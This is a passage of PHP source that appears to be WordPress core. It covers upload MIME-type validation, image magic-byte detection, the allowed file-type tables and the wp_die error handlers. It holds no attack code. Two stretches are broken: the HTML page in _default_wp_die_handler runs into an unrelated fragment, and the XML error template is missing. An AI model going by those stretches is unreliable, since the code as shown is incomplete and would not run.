file_exists( $file ) ) { return compact( 'ext', 'type', 'proper_filename' ); } $real_mime = false; // Validate image types. if ( $type && str_starts_with( $type, 'image/' ) ) { // Attempt to figure out what type of image it actually is. $real_mime = wp_get_image_mime( $file ); $heic_images_extensions = array( 'heif', 'heics', 'heifs', ); if ( $real_mime && ( $real_mime !== $type || in_array( $ext, $heic_images_extensions, true ) ) ) { /** * Filters the list mapping image mime types to their respective extensions. * * @since 3.0.0 * * @param array $mime_to_ext Array of image mime types and their matching extensions. */ $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array( 'image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif', 'image/bmp' => 'bmp', 'image/tiff' => 'tif', 'image/webp' => 'webp', 'image/avif' => 'avif', /* * In theory there are/should be file extensions that correspond to the * mime types: .heif, .heics and .heifs. However it seems that HEIC images * with any of the mime types commonly have a .heic file extension. * Seems keeping the status quo here is best for compatibility. */ 'image/heic' => 'heic', 'image/heif' => 'heic', 'image/heic-sequence' => 'heic', 'image/heif-sequence' => 'heic', ) ); // Replace whatever is after the last period in the filename with the correct extension. if ( ! empty( $mime_to_ext[ $real_mime ] ) ) { $filename_parts = explode( '.', $filename ); array_pop( $filename_parts ); $filename_parts[] = $mime_to_ext[ $real_mime ]; $new_filename = implode( '.', $filename_parts ); if ( $new_filename !== $filename ) { $proper_filename = $new_filename; // Mark that it changed. } // Redefine the extension / MIME. $wp_filetype = wp_check_filetype( $new_filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; } else { // Reset $real_mime and try validating again. $real_mime = false; } } } // Validate files that didn't get validated during previous checks. if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); $real_mime = finfo_file( $finfo, $file ); finfo_close( $finfo ); $google_docs_types = array( 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', ); foreach ( $google_docs_types as $google_docs_type ) { /* * finfo_file() can return duplicate mime type for Google docs, * this conditional reduces it to a single instance. * * @see https://bugs.php.net/bug.php?id=77784 * @see https://core.trac.wordpress.org/ticket/57898 */ if ( 2 === substr_count( $real_mime, $google_docs_type ) ) { $real_mime = $google_docs_type; } } // fileinfo often misidentifies obscure files as one of these types. $nonspecific_types = array( 'application/octet-stream', 'application/encrypted', 'application/CDFV2-encrypted', 'application/zip', ); /* * If $real_mime doesn't match the content type we're expecting from the file's extension, * we need to do some additional vetting. Media types and those listed in $nonspecific_types are * allowed some leeway, but anything else must exactly match the real content type. */ if ( in_array( $real_mime, $nonspecific_types, true ) ) { // File is a non-specific binary type. That's ok if it's a type that generally tends to be binary. if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) { $type = false; $ext = false; } } elseif ( str_starts_with( $real_mime, 'video/' ) || str_starts_with( $real_mime, 'audio/' ) ) { /* * For these types, only the major type must match the real value. * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip, * and some media files are commonly named with the wrong extension (.mov instead of .mp4) */ if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) { $type = false; $ext = false; } } elseif ( 'text/plain' === $real_mime ) { // A few common file types are occasionally detected as text/plain; allow those. if ( ! in_array( $type, array( 'text/plain', 'text/csv', 'application/csv', 'text/richtext', 'text/tsv', 'text/vtt', ), true ) ) { $type = false; $ext = false; } } elseif ( 'application/csv' === $real_mime ) { // Special casing for CSV files. if ( ! in_array( $type, array( 'text/csv', 'text/plain', 'application/csv', ), true ) ) { $type = false; $ext = false; } } elseif ( 'text/rtf' === $real_mime ) { // Special casing for RTF files. if ( ! in_array( $type, array( 'text/rtf', 'text/plain', 'application/rtf', ), true ) ) { $type = false; $ext = false; } } else { if ( $type !== $real_mime ) { /* * Everything else including image/* and application/*: * If the real content type doesn't match the file extension, assume it's dangerous. */ $type = false; $ext = false; } } } // The mime type must be allowed. if ( $type ) { $allowed = get_allowed_mime_types(); if ( ! in_array( $type, $allowed, true ) ) { $type = false; $ext = false; } } /** * Filters the "real" file type of the given file. * * @since 3.0.0 * @since 5.1.0 The $real_mime parameter was added. * * @param array $wp_check_filetype_and_ext { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to * $file being in a tmp directory). * @param string[]|null $mimes Array of mime types keyed by their file extension regex, or null if * none were provided. * @param string|false $real_mime The actual mime type or false if the type cannot be determined. */ return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime ); } /** * Returns the real mime type of an image file. * * This depends on exif_imagetype() or getimagesize() to determine real mime types. * * @since 4.7.1 * @since 5.8.0 Added support for WebP images. * @since 6.5.0 Added support for AVIF images. * @since 6.7.0 Added support for HEIC images. * * @param string $file Full path to the file. * @return string|false The actual mime type or false if the type cannot be determined. */ function wp_get_image_mime( $file ) { /* * Use exif_imagetype() to check the mimetype if available or fall back to * getimagesize() if exif isn't available. If either function throws an Exception * we assume the file could not be validated. */ try { if ( is_callable( 'exif_imagetype' ) ) { $imagetype = exif_imagetype( $file ); $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false; } elseif ( function_exists( 'getimagesize' ) ) { // Don't silence errors when in debug mode, unless running unit tests. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) { // Not using wp_getimagesize() here to avoid an infinite loop. $imagesize = getimagesize( $file ); } else { $imagesize = @getimagesize( $file ); } $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false; } else { $mime = false; } if ( false !== $mime ) { return $mime; } $magic = file_get_contents( $file, false, null, 0, 12 ); if ( false === $magic ) { return false; } /* * Add WebP fallback detection when image library doesn't support WebP. * Note: detection values come from LibWebP, see * https://github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30 */ $magic = bin2hex( $magic ); if ( // RIFF. ( str_starts_with( $magic, '52494646' ) ) && // WEBP. ( 16 === strpos( $magic, '57454250' ) ) ) { $mime = 'image/webp'; } /** * Add AVIF fallback detection when image library doesn't support AVIF. * * Detection based on section 4.3.1 File-type box definition of the ISO/IEC 14496-12 * specification and the AV1-AVIF spec, see https://aomediacodec.github.io/av1-avif/v1.1.0.html#brands. */ // Divide the header string into 4 byte groups. $magic = str_split( $magic, 8 ); if ( isset( $magic[1] ) && isset( $magic[2] ) && 'ftyp' === hex2bin( $magic[1] ) ) { if ( 'avif' === hex2bin( $magic[2] ) || 'avis' === hex2bin( $magic[2] ) ) { $mime = 'image/avif'; } elseif ( 'heic' === hex2bin( $magic[2] ) ) { $mime = 'image/heic'; } elseif ( 'heif' === hex2bin( $magic[2] ) ) { $mime = 'image/heif'; } else { /* * HEIC/HEIF images and image sequences/animations may have other strings here * like mif1, msf1, etc. For now fall back to using finfo_file() to detect these. */ if ( extension_loaded( 'fileinfo' ) ) { $fileinfo = finfo_open( FILEINFO_MIME_TYPE ); $mime_type = finfo_file( $fileinfo, $file ); finfo_close( $fileinfo ); if ( wp_is_heic_image_mime_type( $mime_type ) ) { $mime = $mime_type; } } } } } catch ( Exception $e ) { $mime = false; } return $mime; } /** * Retrieves the list of mime types and file extensions. * * @since 3.5.0 * @since 4.2.0 Support was added for GIMP (.xcf) files. * @since 4.9.2 Support was added for Flac (.flac) files. * @since 4.9.6 Support was added for AAC (.aac) files. * @since 6.8.0 Support was added for `audio/x-wav`. * * @return string[] Array of mime types keyed by the file extension regex corresponding to those types. */ function wp_get_mime_types() { /** * Filters the list of mime types and file extensions. * * This filter should be used to add, not remove, mime types. To remove * mime types, use the {@see 'upload_mimes'} filter. * * @since 3.5.0 * * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex * corresponding to those types. */ return apply_filters( 'mime_types', array( // Image formats. 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'webp' => 'image/webp', 'avif' => 'image/avif', 'ico' => 'image/x-icon', // TODO: Needs improvement. All images with the following mime types seem to have .heic file extension. 'heic' => 'image/heic', 'heif' => 'image/heif', 'heics' => 'image/heic-sequence', 'heifs' => 'image/heif-sequence', // Video formats. 'asf|asx' => 'video/x-ms-asf', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wm' => 'video/x-ms-wm', 'avi' => 'video/avi', 'divx' => 'video/divx', 'flv' => 'video/x-flv', 'mov|qt' => 'video/quicktime', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', '3gp|3gpp' => 'video/3gpp', // Can also be audio. '3g2|3gp2' => 'video/3gpp2', // Can also be audio. // Text formats. 'txt|asc|c|cc|h|srt' => 'text/plain', 'csv' => 'text/csv', 'tsv' => 'text/tab-separated-values', 'ics' => 'text/calendar', 'rtx' => 'text/richtext', 'css' => 'text/css', 'htm|html' => 'text/html', 'vtt' => 'text/vtt', 'dfxp' => 'application/ttaf+xml', // Audio formats. 'mp3|m4a|m4b' => 'audio/mpeg', 'aac' => 'audio/aac', 'ra|ram' => 'audio/x-realaudio', 'wav|x-wav' => 'audio/wav', 'ogg|oga' => 'audio/ogg', 'flac' => 'audio/flac', 'mid|midi' => 'audio/midi', 'wma' => 'audio/x-ms-wma', 'wax' => 'audio/x-ms-wax', 'mka' => 'audio/x-matroska', // Misc application formats. 'rtf' => 'application/rtf', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'swf' => 'application/x-shockwave-flash', 'class' => 'application/java', 'tar' => 'application/x-tar', 'zip' => 'application/zip', 'gz|gzip' => 'application/x-gzip', 'rar' => 'application/rar', '7z' => 'application/x-7z-compressed', 'exe' => 'application/x-msdownload', 'psd' => 'application/octet-stream', 'xcf' => 'application/octet-stream', // MS Office formats. 'doc' => 'application/msword', 'pot|pps|ppt' => 'application/vnd.ms-powerpoint', 'wri' => 'application/vnd.ms-write', 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel', 'mdb' => 'application/vnd.ms-access', 'mpp' => 'application/vnd.ms-project', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'docm' => 'application/vnd.ms-word.document.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12', 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote', 'oxps' => 'application/oxps', 'xps' => 'application/vnd.ms-xpsdocument', // OpenOffice formats. 'odt' => 'application/vnd.oasis.opendocument.text', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odb' => 'application/vnd.oasis.opendocument.database', 'odf' => 'application/vnd.oasis.opendocument.formula', // WordPerfect formats. 'wp|wpd' => 'application/wordperfect', // iWork formats. 'key' => 'application/vnd.apple.keynote', 'numbers' => 'application/vnd.apple.numbers', 'pages' => 'application/vnd.apple.pages', ) ); } /** * Retrieves the list of common file extensions and their types. * * @since 4.6.0 * * @return array[] Multi-dimensional array of file extensions types keyed by the type of file. */ function wp_get_ext_types() { /** * Filters file type based on the extension name. * * @since 2.5.0 * * @see wp_ext2type() * * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file. */ return apply_filters( 'ext2type', array( 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'heif', 'webp', 'avif' ), 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ), 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ), 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ), 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ), 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ), 'text' => array( 'asc', 'csv', 'tsv', 'txt' ), 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ), 'code' => array( 'css', 'htm', 'html', 'php', 'js' ), ) ); } /** * Wrapper for PHP filesize with filters and casting the result as an integer. * * @since 6.0.0 * * @link https://www.php.net/manual/en/function.filesize.php * * @param string $path Path to the file. * @return int The size of the file in bytes, or 0 in the event of an error. */ function wp_filesize( $path ) { /** * Filters the result of wp_filesize before the PHP function is run. * * @since 6.0.0 * * @param null|int $size The unfiltered value. Returning an int from the callback bypasses the filesize call. * @param string $path Path to the file. */ $size = apply_filters( 'pre_wp_filesize', null, $path ); if ( is_int( $size ) ) { return $size; } $size = file_exists( $path ) ? (int) filesize( $path ) : 0; /** * Filters the size of the file. * * @since 6.0.0 * * @param int $size The result of PHP filesize on the file. * @param string $path Path to the file. */ return (int) apply_filters( 'wp_filesize', $size, $path ); } /** * Retrieves the list of allowed mime types and file extensions. * * @since 2.8.6 * * @param int|WP_User $user Optional. User to check. Defaults to current user. * @return string[] Array of mime types keyed by the file extension regex corresponding * to those types. */ function get_allowed_mime_types( $user = null ) { $t = wp_get_mime_types(); unset( $t['swf'], $t['exe'] ); if ( function_exists( 'current_user_can' ) ) { $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' ); } if ( empty( $unfiltered ) ) { unset( $t['htm|html'], $t['js'] ); } /** * Filters the list of allowed mime types and file extensions. * * @since 2.0.0 * * @param array $t Mime types keyed by the file extension regex corresponding to those types. * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user). */ return apply_filters( 'upload_mimes', $t, $user ); } /** * Displays "Are You Sure" message to confirm the action being taken. * * If the action has the nonce explain message, then it will be displayed * along with the "Are you sure?" message. * * @since 2.0.4 * * @param string $action The nonce action. */ function wp_nonce_ays( $action ) { // Default title and response code. $title = __( 'An error occurred.' ); $response_code = 403; if ( 'log-out' === $action ) { $title = sprintf( /* translators: %s: Site title. */ __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ); $redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; $html = $title; $html .= '</p><p>'; $html .= sprintf( /* translators: %s: Logout URL. */ __( 'Do you really want to <a href="%s">log out</a>?' ), wp_logout_url( $redirect_to ) ); } else { $html = __( 'The link you followed has expired.' ); if ( wp_get_referer() ) { $wp_http_referer = remove_query_arg( 'updated', wp_get_referer() ); $wp_http_referer = wp_validate_redirect( sanitize_url( $wp_http_referer ) ); $html .= '</p><p>'; $html .= sprintf( '<a href="%s">%s</a>', esc_url( $wp_http_referer ), __( 'Please try again.' ) ); } } wp_die( $html, $title, $response_code ); } /** * Kills WordPress execution and displays HTML page with an error message. * * This function complements the `die()` PHP function. The difference is that * HTML will be displayed to the user. It is recommended to use this function * only when the execution should not continue any further. It is not recommended * to call this function very often, and try to handle as many errors as possible * silently or more gracefully. * * As a shorthand, the desired HTTP response code may be passed as an integer to * the `$title` parameter (the default title would apply) or the `$args` parameter. * * @since 2.0.4 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept * an integer to be used as the response code. * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added. * @since 5.3.0 The `$charset` argument was added. * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes() * in the default handler. * * @global WP_Query $wp_query WordPress Query object. * * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object, * and not an Ajax or XML-RPC request, the error's messages are used. * Default empty string. * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object, * error data with the key 'title' may be used to specify the title. * If `$title` is an integer, then it is treated as the response code. * Default empty string. * @param string|array|int $args { * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated * as the response code. Default empty array. * * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise. * @type string $link_url A URL to include a link to. Only works in combination with $link_text. * Default empty string. * @type string $link_text A label for the link to include. Only works in combination with $link_url. * Default empty string. * @type bool $back_link Whether to include a link to go back. Default false. * @type string $text_direction The text direction. This is only useful internally, when WordPress is still * loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'. * Default is the value of is_rtl(). * @type string $charset Character set of the HTML output. Default 'utf-8'. * @type string $code Error code to use. Default is 'wp_die', or the main error code if $message * is a WP_Error. * @type bool $exit Whether to exit the process after completion. Default true. * } */ function wp_die( $message = '', $title = '', $args = array() ) { global $wp_query; if ( is_int( $args ) ) { $args = array( 'response' => $args ); } elseif ( is_int( $title ) ) { $args = array( 'response' => $title ); $title = ''; } if ( wp_doing_ajax() ) { /** * Filters the callback for killing WordPress execution for Ajax requests. * * @since 3.4.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' ); } elseif ( wp_is_json_request() ) { /** * Filters the callback for killing WordPress execution for JSON requests. * * @since 5.1.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' ); } elseif ( wp_is_serving_rest_request() && wp_is_jsonp_request() ) { /** * Filters the callback for killing WordPress execution for JSONP REST requests. * * @since 5.2.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' ); } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) { /** * Filters the callback for killing WordPress execution for XML-RPC requests. * * @since 3.4.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' ); } elseif ( wp_is_xml_request() || isset( $wp_query ) && ( function_exists( 'is_feed' ) && is_feed() || function_exists( 'is_comment_feed' ) && is_comment_feed() || function_exists( 'is_trackback' ) && is_trackback() ) ) { /** * Filters the callback for killing WordPress execution for XML requests. * * @since 5.2.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' ); } else { /** * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests. * * @since 3.0.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_handler', '_default_wp_die_handler' ); } call_user_func( $callback, $message, $title, $args ); } /** * Kills WordPress execution and displays HTML page with an error message. * * This is the default handler for wp_die(). If you want a custom one, * you can override this using the {@see 'wp_die_handler'} filter in wp_die(). * * @since 3.0.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _default_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( is_string( $message ) ) { if ( ! empty( $parsed_args['additional_errors'] ) ) { $message = array_merge( array( $message ), wp_list_pluck( $parsed_args['additional_errors'], 'message' ) ); $message = "<ul>\n\t\t<li>" . implode( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>"; } $message = sprintf( '<div class="wp-die-message">%s</div>', $message ); } $have_gettext = function_exists( '__' ); if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) { $link_url = $parsed_args['link_url']; if ( function_exists( 'esc_url' ) ) { $link_url = esc_url( $link_url ); } $link_text = $parsed_args['link_text']; $message .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>"; } if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) { $back_text = $have_gettext ? __( '« Back' ) : '« Back'; $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>"; } if ( ! did_action( 'admin_head' ) ) : if ( ! headers_sent() ) { header( "Content-Type: text/html; charset={$parsed_args['charset']}" ); status_header( $parsed_args['response'] ); nocache_headers(); } $text_direction = $parsed_args['text_direction']; $dir_attr = "dir='$text_direction'"; /* * If `text_direction` was not explicitly passed, * use get_language_attributes() if available. */ if ( empty( $args['text_direction'] ) && function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) { $dir_attr = get_language_attributes(); } ?> <!DOCTYPE html> <html <?php echo $dir_attr; ?>> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $parsed_args['charset']; ?>" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <?php if ( function_exists( 'wp_robots' ) && function_exists( 'wp_robots_no_robots' ) && function_exists( 'add_filter' ) ) { add_filter( 'wp_robots', 'wp_robots_no_robots' ); // Prevent warnings because of $wp_query not existing. remove_filter( 'wp_robots', 'wp_robots_noindex_embeds' ); remove_filter( 'wp_robots', 'wp_robots_noindex_search' ); wp_robots(); } ?> <title><?php echo $title; ?> 200 ) ); list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { // This is intentional. For backward-compatibility, support passing null here. if ( null !== $args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } if ( is_scalar( $message ) ) { $message = (string) $message; } else { $message = '0'; } if ( $parsed_args['exit'] ) { die( $message ); } echo $message; } /** * Kills WordPress execution and displays JSON response with an error message. * * This is the handler for wp_die() when processing JSON requests. * * @since 5.1.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _json_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( isset( $parsed_args['error_data'] ) ) { $data['data']['error'] = $parsed_args['error_data']; } if ( ! headers_sent() ) { header( "Content-Type: application/json; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo wp_json_encode( $data ); if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays JSONP response with an error message. * * This is the handler for wp_die() when processing JSONP requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( isset( $parsed_args['error_data'] ) ) { $data['data']['error'] = $parsed_args['error_data']; } if ( ! headers_sent() ) { header( "Content-Type: application/javascript; charset={$parsed_args['charset']}" ); header( 'X-Content-Type-Options: nosniff' ); header( 'X-Robots-Tag: noindex' ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } $result = wp_json_encode( $data ); $jsonp_callback = $_GET['_jsonp']; echo '/**/' . $jsonp_callback . '(' . $result . ')'; if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XMLRPC requests. * * @since 3.2.0 * @access private * * @global wp_xmlrpc_server $wp_xmlrpc_server * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) { global $wp_xmlrpc_server; list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { nocache_headers(); } if ( $wp_xmlrpc_server ) { $error = new IXR_Error( $parsed_args['response'], $message ); $wp_xmlrpc_server->output( $error->getXml() ); } if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XML requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _xml_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $message = htmlspecialchars( $message ); $title = htmlspecialchars( $title ); $xml = << {$parsed_args['code']} <![CDATA[{$title}]]> {$parsed_args['response']} EOD; if ( ! headers_sent() ) { header( "Content-Type: text/xml; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo $xml; if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays an error message. * * This is the handler for wp_die() when processing APP requests. * * @since 3.4.0 * @since 5.1.0 Added the $title and $args parameters. * @access private * * @param string $message Optional. Response to print. Default empty string. * @param string $title Optional. Error title (unused). Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( $parsed_args['exit'] ) { if ( is_scalar( $message ) ) { die( (string) $message ); } die(); } if ( is_scalar( $message ) ) { echo (string) $message; } } /** * Processes arguments passed to wp_die() consistently for its handlers. * * @since 5.1.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. * @return array { * Processed arguments. * * @type string $0 Error message. * @type string $1 Error title. * @type array $2 Arguments to control behavior. * } */ function _wp_die_process_input( $message, $title = '', $args = array() ) { $defaults = array( 'response' => 0, 'code' => '', 'exit' => true, 'back_link' => false, 'link_url' => '', 'link_text' => '', 'text_direction' => '', 'charset' => 'utf-8', 'additional_errors' => array(), ); $args = wp_parse_args( $args, $defaults ); if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) { if ( ! empty( $message->errors ) ) { $errors = array(); foreach ( (array) $message->errors as $error_code => $error_messages ) { foreach ( (array) $error_messages as $error_message ) { $errors[] = array( 'code' => $error_code, 'message' => $error_message, 'data' => $message->get_error_data( $error_code ), ); } } $message = $errors[0]['message']; if ( empty( $args['code'] ) ) { $args['code'] = $errors[0]['code']; } if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) { $args['response'] = $errors[0]['data']['status']; } if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) { $title = $errors[0]['data']['title']; } if ( WP_DEBUG_DISPLAY && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['error'] ) ) { $args['error_data'] = $errors[0]['data']['error']; } unset( $errors[0] ); $args['additional_errors'] = array_values( $errors ); } else { $message = ''; } } $have_gettext = function_exists( '__' ); // The $title and these specific $args must always have a non-empty value. if ( empty( $args['code'] ) ) { $args['code'] = 'wp_die'; } if ( empty( $args['response'] ) ) { $args['response'] = 500; } if ( empty( $title ) ) { $title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error'; } if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) { $args['text_direction'] = 'ltr'; if ( function_exists( 'is_rtl' ) && is_rtl() ) { $args['text_direction'] = 'rtl'; } } if ( ! empty( $args['charset'] ) ) { $args['charset'] = _canonical_charset( $args['charset'] ); } return array( $message, $title, $args ); } /** * Encodes a variable into JSON, with some confidence checks. * * @since 4.1.0 * @since 5.3.0 No longer handles support for PHP < 5.6. * @since 6.5.0 The `$data` parameter has been renamed to `$value` and * the `$options` parameter to `$flags` for parity with PHP. * * @param mixed $value Variable (usually an array or object) to encode as JSON. * @param int $flags Optional. Options to be passed to json_encode(). Default 0. * @param int $depth Optional. Maximum depth to walk through $value. Must be * greater than 0. Default 512. * @return string|false The JSON encoded string, or false if it cannot be encoded. */ function wp_json_encode( $value, $flags = 0, $depth = 512 ) { $json = json_encode( $value, $flags, $depth ); // If json_encode() was successful, no need to do more confidence checking. if ( false 